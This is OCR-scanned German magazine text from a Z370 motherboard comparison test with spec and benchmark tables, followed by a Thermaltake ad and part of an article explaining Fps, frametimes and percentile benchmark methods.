winnt immerhin die Kompatibilität 
zu neuen Gehäusen. Störender ist 
da schon der Verzicht auf Vergan- 
genheit am I/O-Panel - als einziger 
Testteilnehmer kann Asrock nur 
sechs USB-Geräte direkt anschlie- 
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MSI Z370 Gaming Pro Carbon AC 


Seit der Z170-Generation bietet MSI unter dem Titel ,, Carbon" angemessen ausgestattete, nicht allzu teure Mainboards, die viel Wert auf Optik und Mod- 
ding legen. Das Z370-Modell mit Zusatz AC hat zusátzlich WLAN und das Routing mit den wenigsten PCI-Express-Doppelbelegungen im Test. Leider fallen 
aber auch hier die Werkseinstellungen reichlich stromhungrig aus – dabei ist die Platine auch dank der geringeren Ausstattung eigentlich recht sparsam. 


Plastik-Chick 

Im Gegensatz zum großen Bruder X299 
Gaming Pro Carbon bringt das 7370 keine 
Austausch-Plastikblenden zur farblichen 
Gestaltung mit, eine ausladende Verklei- 
dung auch an den Spannungswandlerküh- 
lern darf aber nicht fehlen. Die Kühllei- 
stung leidet kaum, das Platzangebot eher. 


WLAN beiliegend 

Für 20 Euro weniger gibt es das , Gaming 
Pro Carbon" auch ohne AC-WLAN. Da 
das M.2-Modul auf einer x1-Adapter- 
karte geliefert und nicht platzsparend 
auf der Platine ungebracht wird, hat die 
„AC"-Ausgabe neben dem Preis keinen 
Vorteil gegenüber Nachrüstlösungen. 


Wenig PCI-Express-Sharing, aber physische Limits @ 
Abseits der Grafikkarten-x 16/x0-oder-x8/x8-Option muss sich beim 2370 Gaming Pro 


Carbon nur ein M.2-Slot Ressourcen mit anderen Abnehmern teilen (hier: 2 SATA-Anschlüsse). 
Ein x1-Slot wird aber quasi immer von der Grafikkarte verdeckt, zwei weitere (wie bei der 
Konkurrenz) bei Multi-GPU-Betrieb respektive Nutzung von Triple-Slot-Grafikkarten-Kühlern. 


ßen, hier hätte man zwei der sechs 
internen 2.0-Header in rückseitige 
Ports münden lassen sollen. 


Keinen Platz für weitere Anschlüs- 
se hätte das Z370 Gaming Pro Car- 
bon, dabei verzichtet es bereits 
konsequent auf Display-Ausgänge. 
Neben einem dicken 6,3-mm-Klin- 
kenanschluss, der auf eine eigene 
hochwertige Soundlösung mit ESS- 
Sabre-DAC zurückgreift, beanspru- 
chen ein WLAN-Modul und drei 
Gigabit-Netzwerkanschlüsse 
Platz am I/O-Panel, ermöglichen im 
Gegenzug aber das neueste Feature 
aus dem Hause Rivet-Networks: 
„Killer Xtend* können vier LAN- 
Controller in Software zu einem 
Router verschaltet werden und 
nach Belieben Leitungen bündeln 
(auch mehrere Internetzugänge), 
verteilen oder anderen Geräten als 
Switch und Access-Point dienen. 
Solange der PC läuft hat man dann 
weitreichende Möglichkeiten zur 
automatischen Priorisierung von 
Datenströmen anhand von Paketin- 


viel 


halten, was bislang nur innerhalb 
eines Rechners aber kaum auf Netz- 
werkebene möglich war. 
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Zusammenfassung 

MSI Z370 Godlike Gaming Carbon 
fährt mit seiner qualitativ und 
quantitativ überlegenen Ausstat- 
tung klar den Testsieg ein. Soviele 
Features bietet kaum ein andere 
Platine. Einige der Extras lassen 
sich aber nicht gleichzeitig nutzen 
und andere sind multiple Ausfüh- 
rungen von Dingen, die die meis- 
ten Anwender nur ein einziges Mal 
benötigen. Somit rechtfertig das 
450-Euro-Flaggschiff seinen Preis 
nur in sehr exotischen Szenarien. 


Für 270 Euro rangiert auch Gi- 
gabytes Z370 Gaming 7 über der 
,ausreichend"-Klasse, wer 
nem luxuriös ausgestatten PC von 
möglichst jedem Anschluss Typ 
noch einen als Reserve frei ha- 
ben móchte, ist hier aber an der 
richtigen Adresse. Ebenfalls loben 
müssen wir die alltagstauglichen 
Default-UEFI-Einstellungen. Nicht 
weil eine Überschreitung der Intel- 
Spezifikationen um 25 Prozent für 
sich genommen lobenswert wäre, 
sondern weil sie in diesem Testfeld 
noch mit großem Abstand den ak- 
zeptabelsten Wert darstellt. 


in ei- 


Asrocks Z370 Extreme4 holt sich 
mit hauchdünnem Vorsprung Platz 
3 dieses Vergleichs - und einen 
ganz klaren Preis-Leistungstipp. 
Für den Kaufpreis des Godlike 
Gaming bekäme man zweieinhalb 
Extreme4 und eigentlich sollte 
schon ein einziges nahezu jedem 
Anwender reichen. Ambitionierte 
Übertakter vermissen (wie bei Gi- 
gabyte) eine adaptive Spannungs- 
regelung, USB-Intensiv-Nutzer ein 
paar Anschlüsse - für ein 160-Euro- 
Mainboard sind das aber wenig Ab- 
striche gegenüber der Luxusklasse, 
deren Stromverbrauch Asrock lei- 
der ebenfalls übernimmt. 


Ein sehr rundes Gesamtpaket ist 
auch das Maximus X Hero - einzig 
die rekordverdächtige Bootzeit von 
Asrock kann Asus nicht kontern, 
sonst wäre das Hero ein perfektes 
Board für Durchschnittsanwender 
und könnte ambitionierten Twea- 
kern noch einige nette Zusatzide- 
en anbieten. Gestört wird dieses 
Bild eines Oberklasse-Boards-mit- 
netten-Ideen aber leider vom Preis: 
Für 290 Euro erwartet man eigent- 
lich handfeste Zusatzausstattung. 


Diese bekommt MSIs Z370 Ga- 
ming Pro Carbon AC in Form einer 
WLAN-Karte beigelegt und das für 
akzeptable 200 Euro. Wer zusätz- 
lich noch eine Triple-Slot-Grafik- 
karte verbaut, hat dann aber gar 
keinen x1-Slot mehr zur Verfügung, 
weswegen die „AC“-lose Ausfüh- 
rung des Boards eigentlich inter- 
essanter und je nach persönlichen 
Präferenzen eine gute, wenn auch 
minimal teurere Alternative zum 
7370 Extreme4 ist. (tv) 


Fazit Hardware 


Hardware gut, UEFI beinahe 
Abseits fehlender Powerlimit-Vorgaben 
finden sich im Z370-Launch-Portfolio 
keine gravierenden Mängel — nach 
dem Chaos beim Sockel-2066- und 
AM4-Launch sowie der im Vergleich zu 
den Vorgängern teilweise verschlimm- 
besserten Z270-Generation ist das eine 
positive Überraschung. Eingequetscht 
zwischen künstlich veralteten Vorgän- 
gern und nahenden Z390-Nachfolgern 
dürften die guten Z370-Produkte den- 
noch weniger Zuspruch finden als sie 
verdient haben. 
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PREIS-LEISTUNGS-TIPP 


BOARDS 


160 Wertungskriterien. 


Hersteller 


Link zum PCGH-Preisvergleich 


SOCKEL-1151-MAIN- 


Auszug aus der Testtabelle mit 


Z370 Godlike Ga 


7370 Gaming 7 


Asrock 
1370 bene 


Hardware 


7370 Extreme4 


Maximus X Hero 


7370 Gam. Pro Carbon АС 


Preis/Preis-Leistungs-Verhältnis 


MSI (www.msi.com) Gigabyte (www.gigabyte.de) Asrock (www.asrock.de) Asus (www.asus.de) MSI (www.msi.com) 
Ca. € 450,-/Note 4 Ca. € 270,-/Note 3+ Ca. € 160,-/Note 2+ Ca. € 290,-/Note 3 Ca. € 200,-/Note 2 
www.pcgh.de/preis/1699947 www.pcgh.de/preis/1699938 www.pcgh.de/preis/1700876 www.pcgh.de/preis/1702196 www.pcgh.de/preis/1699948 


PCH-Hub; UEFI-; Board-Revision 


Intel 2370; A.21; 2.2 


Intel 2370; F4a; 1.0 


Intel 2370; 1.0; 1.03 


Intel 2370; 0502; 1.01 


Intel 2370; A.13; 2.0 


Gehäuse Format: Höhe x Breite 


ATX; 305 x 272 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20%) 2,11 2,47 2,48 2,68 2,55 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 4x DDR4 
PCI-E-Standard* 3.0/—/3.0/3.0/3.0/—/3.0 3.0/3.0/—/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 -/3.0/3.0/3.0/3.0/3.0/3.0 


PCI-E-Verteilungsoptionen, CPU-Lanes* 


x 16/-/x0/-/x0/-/- oder x8/-/x0/- 
Ix8/-- oder x8/-/x41-Ix41-I- 


-/x16/-/-1x0/-/- oder 
-Ix8l-I-Ix8l-1- 


-/%16/-/-1x0/-/- oder 
-Ix8l-1-Ix8/-/- 


-/%16/-/-Ix0/-/- oder 
-lx8l-l-lx8l-l- 


-/x16/-/-1x0/-/- oder 
-Ix8l-I-Ix8l-/- 


PCI-E-Verteilungsoptionen, PCH-Lanes* 


-l-l-1x1l-l-Ix0 oder -/-/-Ix0/-/-Ix4 
und LAN3 deaktiviert 


x U--Ix11-1x01x4 oder sl) 
Ix1/x4 und 1x SATA deaktiviert 


ж1/-/-/х1/—/х1/х4 


x 1/-/-1%1/-1x0/%x4 oder x1/-/- 
Ixll-Ix 1x2 


X 1X 1-1 1x4 


Antennenhalterung) 


SATA 6x 6 GBit/s (6x 2370) 6x 6 GBit/s (6x 2370) 8x 6 GBit/s (6x 2370; 2x ASM 1061) | 6x 6 GBit/s (6x 2370) 6x 6 GBit/s (6x 2370) 
NVME, Anbindung, Format 1x M.2 m-Key, 3.0-x4, 42/60/ 80/110; | 1x M.2 m-Key, РСІ-Е-3.0-х4, 42/60/ | 1х M.2 m-Key, PCI-E-3.0-x4, 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80; | 1x M.2 m-Key, PCI-E-3.0-x4, 
1x M.2 m-Key, 3.0-x4, 42/60/80 ODER 180/110; 1x M.2 m-Key, PCI-E-3.0-x4, |30/42/60/80/110 (deaktiviert 2x 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 |42/60/80/110; 1x M.2 m-Key, 
1х 0.2 (deaktivieren 2x SATA); 1x M.2 |42/60/80/110 (deaktiviert 2x SATA); — | SATA); 1x M.2 m-Key, PCI-E-3.0-x4, | (deaktiviert 2x SATA für x4-Betrieb) ` |PCI-E-3.0-x4, 42/60/80 (deaktiviert 
m-Key, 3.0-x4, 42/60/80/110 (deakti- | 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 | 30/42/60/80 (deaktiviert 2x SATA) 2x SATA) 
viert LAN3 & PCI-E x1 bzw. PCI-Ex4) ` | (deaktiviert PCI-E x4) 
Onboard-LAN 3x Gigabit (3x Killer E2500) 2x Gigabit (Intel 1219-V + Killer 2500) | 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-V) 
Wireless 802.11 ac; Bluetooth 4.1 (Killer E1535) |- = (vorbereitet: M.2 e-Key, PCI-E-3.0-x1, |- 802.11 ac; Bluet. 4.2 (Intel-8265-M.2- 


e/b-Modul auf Adapterkarte. für x 1-Slot) 


Monitor-Anschlüsse 


HDMI/Display Port 


HDMI/DVI-D/D-Sub 


HDMI/Display Port 


HDMI/Display Port 


USB extern/intern 


2x/1x USB 3.1 (davon 1x Typ-C 
extern/1x USB-3.1-Front-Panel-Header 
intern); 6x/4x USB 3.0; 0x/6x USB 2.0 


2x/1x USB 3.1 (davon 1x Typ-C 
extern/1x USB-3.1-Front-Panel-Header 
intern); 5x/2x USB 3.0; 0x/4x USB 2.0 


2x/0x USB 3.1 (davon 1x Typ-C 
extern); 4x/5x USB 3.0 (davon 1x 
USB-3.1-Front-Panel-Header intern mit 
3.0-Geschwindigkeit); 0x/6x USB 2.0 


2x/1x USB 3.1 (davon 1x Typ-C 
extern/1x USB-3.1-Front-Panel-Header 
intern); 4x/2x USB 3.0; 2x/4x USB 2.0 


2x/0x USB 3.1 (davon 1x Typ-C ex- 
tern); 4x/4x USB 3.0; 2x/4x USB 2.0 


Legacy-Schnittstellen extern/intern P5/2-Maus-oder-Tastatur-Flex-Port PS/2-Tastatur-Port PS/2-Tastatur-Port; COM-Header = P5/2-Maus-oder-Tastatur-Flex-Port 

Sound-Chip Realtek ALC1220 (zweimal) Realtek ALC1220 Realtek ALC1220 Realtek ALC1220 Realtek ALC1220 

Kopfhórer-Verstárker/DTS oder DDL Ja/nein Jalnein Jalja Jalnein Ја/пеіп 

Audio-Aus-/Eingánge 7.1 + 2.0, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 

Lüfteranschlüsse 10x 4-Pin PWM 8x 4-Pin PWM 5x 4-Pin PWM 8x 4-Pin PWM 6x 4-Pin PWM 

Sonstige Ausstattung Statussegmentanzeige; Power- und Statusanzeige; Power- & Reset-Schalter; | Clear-CMOS-Jumper; Dual-UEFI; regel- |Statussegmentanzeige; Power- und Status-LEDs; Clear-CMOS-Jumper;regel- 
Reset-Schalter; Clear-CMOS-Schalter ` |Clear-CMOS-Schalter; Dual-UEFI; regel- | bare RGB-Beleuchtung; Anschluss für eset-Schalter; Clear-CMOS-Schalter |bare RGB-Beleuchtung; zwei Anschlüsse 
am I/0-Panel; Dual-UEFI; regelbare bare RGB-Beleuchtung; zwei Anschlüsse | RGB-LED-Streifen; Thunderbolt-Header | am l/O-Panel; Dual-UEFI; regelbare für RGB-LED-Streifen; Anschluss für 
RGB-Beleuchtung;Anschluss für RGB- — | für RGBW-LED-Streifen; 2 Anschlüsse GB-Beleuchtung; zwei Anschlüsse für | adressierbare LED-Streifen (5 V); An- 
LED-Streifen; Anschluss für adressier- | für adressierbare LED-Streifen (5 V und GB-LED-Streifen; Anschluss für adres- |schluss für adressierbare LED-Streifen & 
bare LED-Streifen (5 V); Anschlüsse für | 12 V); Thunderbolt-Header; Anschluss sierbare LED-Streifen (5 V); Anschluss — |-Lüfter von Corsair 
drei Temperatursensoren; Spannungs- | für Durchflussmesser; Anschlüsse für Ür Durchflussmesser; Anschlüsse für 
messpunkte zwei Temperatursensoren; ein Lüfter für drei Temperatursensoren 

Spannungswandlerkühlung 

Beiliegend 6x SATA-Kabel (davon 2x stoffum- 4x SATA-Kabel; HB-SLI-Brücke; 2x 4x SATA-Kabel; HB-SLI-Brücke; Hand- |4x SATA-Kabel; HB-SLI-Brücke; 1x 4x SATA-Kabel; HB-SLI-Brücke; 2x 
mantelt); HB-SLI-Brücke; Зх Tempera- |Temperatursensor; 1x RGBW-Verlänge- | buch Deutsch GB-Verlängerungskabel; Anschluss- |Temperatursensor; 1x Y-RGB-Ver- 
tursensor; Adapter 3,5 mm Klinke auf — |rungskabel; Handbuch Englisch kabel für adressierbare LED-Streifen; |längerungskabel; Anschlusskabel für 
6,3 mm; Y-RGB-Verlängerungskabel; Handbuch Englisch adressierbare und Corsair-LED-Streifen; 
adressierbarer RGB-LED-Streifen; Handbuch Englisch; 
Adpaterkarte PCI-E-x8 auf 2x M.2 
mit Kühlkörper; Handbuch Englisch; 
interner Ax-USB-2.0-Hub 

Eigenschaften (20%) 2,36 1,77 2,38 2,12 2,21 

Abstand** CPU <> 1./2. RAM-Slot; 53/62 Millimeter; 55/64 Millimeter; 52/61 Millimeter; 55/64 Millimeter; 53/62 Millimeter; 

<> Spannungswandlerkühler links/oben 54/52 Millimeter 49/51 Millimeter — (24 mm flach) 58/- Millimeter 52/55 Millimeter 

Abstand** CPU <> PCI-E-x16 73 Millimeter 95 Millimeter 95 Millimeter 94 Millimeter 93 Millimeter 

Abstand PEG 1<>2 3 Slots 2 Slots 2 Slots 2 Slots 2 Slots 


Referenztakt 


Multiplikator-CPU/-AVX/aktive Kernzahl/ 


Anheb- und absenkbar/einstellbar/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/nicht 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar/einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Jaljalja/ja, konfigurierbar. Bereich: 0,6 
bis 2,2 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,5 bis 1,8 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,9 bis 3,0 Volt 


Jalja/jalja, konfigurierbar. Bereich: 0,6 
bis 2,2 Volt 


Jalja/jalja, konfigurierbar. Bereich: 0,6 
bis 1,6 Volt 


VO-/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Maximal wählbarer RAM-Takt; -Spannung 


DDR4-5000; 2,20 Volt 


DDR4-8300; 2,00 Volt 


DDR4-8400; 1,80 Volt 


DDR4-8533; 2,40 Volt 


DDR4-5000; 2,20 Volt 


Lüftersteuerung 


4-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM 


5-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM 


4,5-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM 


3-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 20% PWM 


4-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM 


Stabilitäts- & Praxis-Probleme 


Werkseinstellungen erlauben 175 W 
CPU-Leistungsaufnahme (Intel TDP: 95 
W). Überhitzung möglich 


(Werkseinstellungen erlauben 120 W 
CPU-Leistungsaufnahme) 


Werkseinstellungen erlauben 160 W 
CPU-Leistungsaufnahme (Intel TDP: 95 
W). Überhitzung möglich 


Werkseinstellungen erlauben 200 W 
(UEFI 0601: 170 W) CPU-Leistungsaufn. 
(Intel TDP: 95 W). Überhitzung möglich 


Werkseinstellungen erlauben 1,38 V 
Vcore und 165 W CPU-Leistungsaufn. 
(Intel TDP: 95 W). Überhitzung möglich 
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Leistung (60%) 1,51 2,04 1,93 1,96 2,05 
Realer Referenztakt (CPU-Z) 100,5 MHz (man. auf 100,06 korrig.) | 100,00 MHz 100,00 MHz 100,00 MHz ("auto": 100,50 MHz) 100,00 MHz 
Witcher 3, 1080p, kein AA/AF 158,7 Fps 145,2 Fps 148,1 Fps 148,3 Fps 146,8 Fps 
Lightroom 5.6, Export 30 RAWs 105,1 Sekunden 110,2 Sekunden 109,4 Sekunden 109,8 Sekunden 109,9 Sekunden 
AIDA Memory Bench - Kopierrate 38.481 MB/s 38.329 MB/s 38.037 MB/s 38.258 MB/s 38.355 MB/s 
Boot-Zeit Desktop Windows 10 20,1 Sekunden 18,7 Sekunden 16,0 Sekunden 22,7 Sekunden 17,7 Sekunden 
Temperatur Spannungswandler l./o./PCH* ** | 57/54/38 °C 58/50/48 *C 60/55/45 *C 60/49/41 *C 67/55/40 *C 
Stromverbr.**** Soft-Off/Leerlauf/Last*** |3,6/42,3/318 Watt 1,4/38,8/331 Watt 2,4/41,8/307 Watt 1,9/38,3/307 Watt 0,9/32,4/330 Watt 
Q Überd g © 0 ötig © g +) P +]; günstig 
+) ose À a g +) ob E g +) ootz © p D © В g g p 
FAZIT į Tu, шшш SE m шшр, 
e o BO e o ' e g e g е o : 
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Testsystem: Core i7-8700K, Asus Strix GTX 1080 110% powertarget, 91°C temptarget; 2x 8 GiB Kingston DDR4-2666, EKL Alpenföhn Matterhorn Pure bei 1.300 U/min. 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben l/O-Panel. ** Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. 


***Prime95 27.7 + Witcher З hohe Details, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. **** Ganzes System mit Core i7-8700K und Asus GTX 1080 an Seasonic-80-Plus-Gold-Netzteil. 


thermaltake 


VIEW 71 TG 


RIING PLUS RGB 


TT PREMIUM EDITION EE 
PLUS TITANIUM 


Thermaltake-Komponenten sind erhältlich bei: 
www.alternate.de * www.amazon.de * www.caseking.de * www Conrad de: www.cyberport.de 
www.kmcomputer.de * www.notebooksbilliger.de * www.snogard.de * www.technikdirekt.de 
ttpremium.eu 
... und in vielen weiteren Shops 
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Benches, aber richtig? 


Leistungsmessungen für Prozessoren, Grafikkarten und Co. sind wichtig, aber auch komplex. Denn in 
Zeiten von Frametimes und Perzentilen ist ein 3D-Mark-Durchlauf längst nicht alles. PCGH klärt auf. 


enchmarks sind ein wichtiger 

Teil der Bewertung von PC- 
Bauteilen. Speziell bei Grafikkarten 
und Prozessoren sind dies vor allem 
Leistungstests in Spielen, denen PC 
Games Hardware schon seit deut- 
lich über einem Jahrzehnt immer 
stärkeres Gewicht beimisst und sie 
stetig verbessert. Wir geben einen 
Überblick über Testmethoden, Mi- 
nimum- und Average Fps, Percen- 
tile, FCAT und Frametimes. 


Bereits beim üblichen Wort für 
Leistungsmessung „Benchmark“ 
wird deutlich, dass viele Begriffe 
in diesem Bereich aus dem engli- 
schen stammen und nicht jedem 
geläufig sind. Klassischerweise le- 
sen Sie in PC Games Hardware von 


„Ерѕ“, in diesem Zusammenhang 
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Frames per Second - im Spiele- 
bereich steht das Kürzel manchmal 
auch für sogenannte Ego-Shooter 
(„First Person Shooter“). Fps ist 
die Anzahl der Bilder, welche eine 
Grafikkarte oder ein Prozessor pro 
Sekunde berechnet. 


Diese Angabe wird aus dem Kehr- 
wert der Berechnungszeiten 
einzelner Bilder gewonnen, den 
üblicherweise in Millisekunden 
angegebenen Frametimes. Wie 
kommt man nun an diese Berech- 
nungszeiten? Hierfür wird die Di- 
rect-3D-Befehlskette protokolliert 
und mit einem im Millisekundebe- 
reich genauen Zeitstempel verse- 
hen. Der Abstand zwischen zwei 
sogenannten Present-Befehlen, 
welche Direct 3D bei jedem ferti- 


gen Bild ausgibt, wird als Berech- 


nungszeit für die einzelnen Bilder 
festgehalten. Dauert die Berech- 
nung eines einzelnen Bildes zum 
Beispiel 16,666 Millisekunden, 
könnten, ausgehend von diesem 
einen Bild, die erstrebenswerten 
60 Bilder pro Sekunde erzeugt wer- 
den: 1.000 geteilt durch 16,666 ist 
gleich 60. 33,3 ms entsprechen lo- 
gischerweise dann rund 30 Fps, 40 
ms 25 Fps und so weiter. 


Aus einem einzelnen Bild auf die 
Fps-Rate schließen zu wollen, ist 
natürlich sinnlos, da die Lauf- oder 
Berechnungszeiten der einzelnen 
Bilder abweichen. 
Daher wird aus diesen Bildberech- 
nungszeiten ein Durchschnitt über 
einen bestimmten Zeitraum gebil- 
det, der bei vielen PCGH-Standard- 
messungen überlicherweise 20 


voneinander 


Sekunden beträgt, damit einzelne 
Ausreißer das Leistungsbild nicht 
zu stark beeinflussen. 


Vom allgemeinen „Fps“-Wert gibt 
es Abwandlungen wie Minimum, 
Maximum und Average oder „avg.“ 
- also die niedrigsten, die höchsten 
und den Durchschnitt (als Symbol 
übrigens „®“). Die maximalen Fps 
werden zwar von Fraps wie von di- 
versen Benchmark-Programmen an- 
gezeigt, finden in PCGH in der Regel 
aber keine Verwendung. Sie treten 
in anspruchslosen Szenen auf, etwa 
wenn man in einer Level-Ecke vor 
einer Wand steht oder in den Him- 
mel blickt, und geben so gut wie nie 
sinnvollen Aufschluss über die Leis- 
tungsfähigkeit der Hardware. 
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Auch abseits integrierter Tests gibt es Stolperfallen. So lásst Ashes of the Singularity Prozessoren mit sechs und mehr Kernen trotz identischer Detail-Einstellungen unterschied- 


liche Partikelsysteme berechnen, sodass die Vierkerner in-game schneller als die Hexacores zu arbeiten scheinen — dabei erzeugen sie hóhere Fps aufgrund von weniger Arbeit. 


Bei PC Games Hardware sehen Sie 
in der Regel die Durchschnitts-Fps 
in unseren Benchmark-Diagram- 
men in Balkenform - diese sind 
nicht gewichtet, sondern stellen 
lediglich den arithmetischen Mit- 
telwert dar. 10 Sekunden à 90 Fps 
und 10 Sekunden à 10 Fps geben 
genauso einen Schnitt von 50 Fps 
wie jeweils 10 Sekunden mit 40 
und 10 Sekunden mit 60 Fps. 


Hier sehen Sie schon de ersten Hin- 
weis auf mógliche Probleme mit 
reinen DurchschnittsFps - denn 
wer würde nicht die Leistungscha- 
rakteristik im zweiten Beispiel be- 
vorzugen? 


Von Minimum-Fps ... 

Fast immer geben wir deshalb zu- 
sátzlich einen niedrigeren Wert an, 
der in Form einer schwarzen Zahl 
innerhalb des Balkens für Durch- 
schnitts-Fps erscheint. Dabei han- 
delt es sich um die sogenannten 
Minimum-Fps, welche das beliebte 
Testprogramm Fraps (auf Heft- 
DVD) zusätzlich ausgibt. Je näher 
dieser an den Durchschnitts-Fps 
liegt, desto höher die Wahrschein- 
lichkeit auf eine gleichmäßige Leis- 
tung. Die genannten Beispiele mit 
jeweils 50 ®-Fps wären inklusive 
Min-Fps in der Angabeform 10/50 
(min./avg.) und 40/50 (min./avg.) 
schon deutlich aussagekräftiger. 


... Zu Perzentilen ... 

Das Problem mit der beschriebe- 
nen Art von Minimum-Fps ist, dass 
es verschiedene Arten gibt, diese 
zu bestimmen. Im Falle des weiter- 
hin vielgenutzten Hilfsprogramms 
Fraps (www.fraps.com) kommt er- 
schwerend hinzu, dass überhaupt 
nicht angegeben wird, wie die 
Minimum-Fps berechnet werden. 
Es könnte sich zum Beispiel um ein- 
zelne Ausreißer in einem ansons- 
ten halbwegs gleichmäßig verteil- 
ten Fps-Verlauf handeln. Oder um 


www.pcgameshardware.de 


den Durchschnitt einer bestimm- 
ten Anzahl der niedrigsten Fps. 


Abhilfe und Transparenz schaffen 
hier die sogenannten Perzentile, 
englisch „percentiles“. Dabei han- 
delt es sich um eine Angabe aus 
der Statistik, den sogenannten Pro- 
zentrang. Für ein Perzentil wird 
die zu untersuchende Wertemen- 
ge der Größe nach sortiert und in 
100 gleiche Teile zerlegt. Danach 
wird ermittelt, wieviele der Wer- 
te in einem bestimmten Bereich 
liegen. Im Zusammenhang mit 
Benchmark-Messungen etwa ist 
das Perzentil P99 (englisch „99th 
percentile“) beliebt. Hierbei wird 
der Wert angegeben, in welchem 
99 Prozent der Stichproben liegen. 
Für ,Minimum"-Fps heißt dies: Das 
schlechteste Prozent der Werte 
wird ausgeklammert und als Aus- 
reifser nicht gewertet. 


... und Problemen 

Dass dieser Wert insbesondere bei 
längeren Messungen und hohen 
Fps-Zahlen auch problematisch 
sein kann, zeigt unser Beispiel mit 
den beiden Ausreißer-Spitzen beim 
Core i9-7980XE. Seine Fps-Werte 
sind sehr hoch, was bedeutet, dass 
in einem bestimmten Zeitraum 
oder einer bestimmten Spielse- 
quenz auch viele Einzelbilder ent- 
stehen. Im Vergleich zum Ryzen 
7-1800X in derselben Szene sind es 
circa 46 Prozent mehr Bilder: Rund 
3.480 anstelle von 2.372, was natür- 
lich auch Einfluss auf das Perzentil 
P99 hat. Darf sich der langsamere 
Prozessor maximal 2 Bilder als Aus- 
reißer mit schlechten Bildberech- 
nungszeiten erlauben, fallen beim 
flotteren Modell schon 4 Bilder 
durchs Raster. Tendenziell bevor- 
zugt das Perzentil P99 also schnel- 
lere Komponenten - die Beispiele 
gelten natürlich genauso für Grafik- 
karten. Auffällig sind die beiden ex- 
trem langsamen „Spitzen“ bei den 


Neue Benchmarks anno 2005 


Bereits vor über zwölf Jahren machte sich PC Games Hardware Gedan- 
ken darüber, ob Durchschnitts- und Minimum-Fps noch ausreichen. 


Mit den ab Ausgabe 09/2005 eingesetzten Spielbarkeits-Benchmarks sollten 
Fps-Angaben mehr Sinn erhalten: Die prozentuale Verteilung der erzeugten Bildrate 
in den drei Abschnitten „Flüssig spielbar”, „Bedingt Spielbar" und , Unspielbar" — 
die dabei noch pro Genre und Spiel unterschiedlich definiert waren. Leider waren 
wir damit wohl unserer Zeit voraus und aufgrund überwiegenden Leserfeedbacks, 
welches die Darstellungsform als zu komplex bezeichnete, sind wir erst einmal 
wieder zur einfacher konsumierbaren Aufbereitung in einzelne Fps-Balken zurückge- 
kehrt. Soll sich das wieder ändern? Schreiben Sie mir Ihre Meinung an cs@pcgh.de! 


Spielbarkeit: NFSU 2 


B Fast 100 % der gemessenen Frames beim 7800 GTX sind im grünen Bereich. 
E Auch 6300 GT hat noch einen hohen Anteil an spielbaren Fps-Raten 
E Bei der Geforce 6600 GT sind 30 Prozent bedingt spielbar oder unspielbar. 


Flüssig spielbar 
(Fps >40) 


(Fps: 25-40) 


Unspielbar 
(Fps: «25) 


Spielbarkeit (іп %) lọ 1m 


NEED FOR SPEED UNDERGROUND 2 DEMO (DIRECTX TWEAKER) 
п хия d m 9 a Wa 


| Geforce 6800 GT 


B Geforce 6600 GT 


TEE (il 
Geforce 7800 GTX 51% 
Am 


- Settings tika 64 4000, Merced SÉL 2x S1 MByte 008-00, Forcewd e T712, Direct 9c ХР SP2, VSync aus 


Minimum Fps: Die schlechtesten 2 Prozent der Messwerte wurden gemittelt. 


Basis: 
Normalerweise ist 
das ganz unten 
stehende Produkt 

die Preis- und 
Leistungsbasis für die 
darüber stehenden. 


Gelb/Rot: 

Gelbe oder sogar 
rote Balken sollten 
möglichst kurz sein. 
Sie zeigen an, dass 
das Spiel nerklich 
stockt. 


Spielbarkeit: 
Grüne Balken 
sollten möglichst 
lang sein, damit 
der Anwender ein 
flüssiges Spielge- 
fühl hat. 


Zusatzwerte: 
Neben minimalen und 
durchschaittlichen 
Fps-Ergebnissen 
finden Sie auch den 
Preis und die Relation 
zur Basis, 


Grenzen: 

Die Fps-Spiel- 
barkeitsgrenzen 
werden in 

der Legende 
erläutert. 


Rise of the Tomb Raider (DX12): Info-Gehalt 


Nur Durchschnitts-Fps 


Core i7-7700K (4с/8ї 
Core i5-7600K (4с/4ї 


Core i7-7700K (4с/8ї 
Core i5-7600K (4с/4ї 


EN 149,0 (+36 %) 
EN 109,8 (Basis) 

Minimum- und Durchschnitts-Fps laut Fraps 
wam НЕЕ 119,0 (+36 %) 
Fe E 109,8 (Basis) 


Perzentil-P99- und Durchschnitts-Fps auf Frametime-Basis 


Core i7-7700K (4с/8ї 
Core i5-7600K (4c/4t 


pgs 149,0 (+36 %) 
Kwasi 109.9 (Basis) 


Bemerkungen: Während die Durchschnitts-Fps-Angabe durchweg die Basis bildet, 
werten Minimum-Fps den Nutzwert deutlich auf. Dabei sind Perzentil-Werte dem auf Basis 
